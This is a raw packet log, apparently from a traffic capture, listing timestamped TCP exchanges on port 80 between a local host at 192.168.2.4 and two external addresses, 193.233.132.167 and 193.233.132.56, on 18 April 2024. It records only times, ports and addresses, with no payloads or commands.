Apr 18, 2024 23:40:06.916378021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916389942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916414976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916418076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916451931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916465044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916488886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916501999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916524887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916548967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916568995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916568995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916579962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916603088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916640043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916641951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916671038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916677952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916693926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916714907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916734934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916754007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916773081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916791916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916791916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916827917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916840076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916865110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916883945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916902065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916924000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916940928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916950941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916986942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917023897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917038918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917062044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917081118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917102098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917120934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917160034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917195082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917231083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917267084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917301893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917335987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917337894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917372942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917376995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917390108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917414904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917424917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917464018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917465925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917500019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917510986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917536020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917548895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917573929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917583942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917613983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917623043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917649984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917664051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917686939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917704105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917722940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917732954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917758942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917769909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917798996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917810917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917835951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917870998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917885065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917907000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917922974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917943954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.917962074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.917979002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918015003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918034077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918051004 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918087959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918104887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918123960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918143034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918160915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918165922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918196917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918211937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918234110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918251991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918270111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918282032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918307066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918313026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918343067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918358088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918380976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918396950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918416977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918435097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918452978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918459892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918490887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918500900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918526888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918534040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918562889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918576956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918601036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918612957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918639898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918662071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918674946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918680906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918710947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918725014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918746948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918764114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918786049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918797016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918824911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.918840885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.918875933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.987682104 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987749100 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987791061 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987807035 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.987828016 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987837076 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.987869024 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.987873077 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987910986 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987921953 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.987947941 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.987987995 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988023996 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988029957 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988049030 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988059998 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988081932 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988116980 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988127947 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988173962 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988176107 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988214970 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988219023 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988251925 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988256931 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988293886 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988332033 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988348961 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988369942 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988373995 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988405943 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988420010 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988451958 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988461018 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988490105 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988500118 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988531113 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988539934 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988569975 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988574982 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988610029 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988647938 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988672972 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988682985 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988698006 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988719940 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988720894 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988759041 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988765955 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988799095 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988837004 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988857985 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988873959 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988881111 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988909960 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988946915 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.988955021 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.988984108 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989018917 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989042044 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.989056110 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989061117 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.989093065 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989130974 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989134073 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.989168882 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989207029 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989217043 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.989243031 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.989252090 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.989424944 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.129968882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.141475916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.145173073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.151563883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.151608944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.151650906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.151668072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.151690960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.151706934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.151758909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.151801109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.151855946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.152636051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.152674913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.152693033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.152713060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.152729988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.152754068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.152771950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.152811050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.153584957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.153623104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.153639078 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.153670073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.153724909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.153764963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.153783083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.153812885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.163753033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.163791895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.163852930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.163953066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.163991928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.164006948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.164036036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169223070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169262886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169342041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169379950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169395924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169419050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169433117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169460058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169472933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169500113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169509888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169534922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169538021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169550896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169576883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169605970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169625998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169648886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169691086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169704914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169733047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169743061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169785976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169787884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169826031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169840097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169862032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169877052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169898987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169914007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169934988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169949055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.169971943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.169998884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170016050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170036077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170053959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170073032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170092106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170113087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170129061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170135975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170166016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170192957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170206070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170213938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170244932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170253992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170284986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170303106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170320988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170345068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170356989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170365095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170396090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170412064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170433044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170447111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170469046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170483112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170505047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170517921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170541048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170573950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170576096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170595884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170613050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170619011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170650005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170665026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170686960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170722008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170727015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170727015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170759916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170789957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170799971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170808077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170836926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170862913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170872927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170887947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170911074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170924902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170948982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170969009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.170986891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.170998096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171024084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171041012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171061039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171075106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171097994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171117067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171134949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171155930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171171904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171190977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171207905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171221018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171246052 CEST	80	49739	193.233.132.167	192.168.2.4
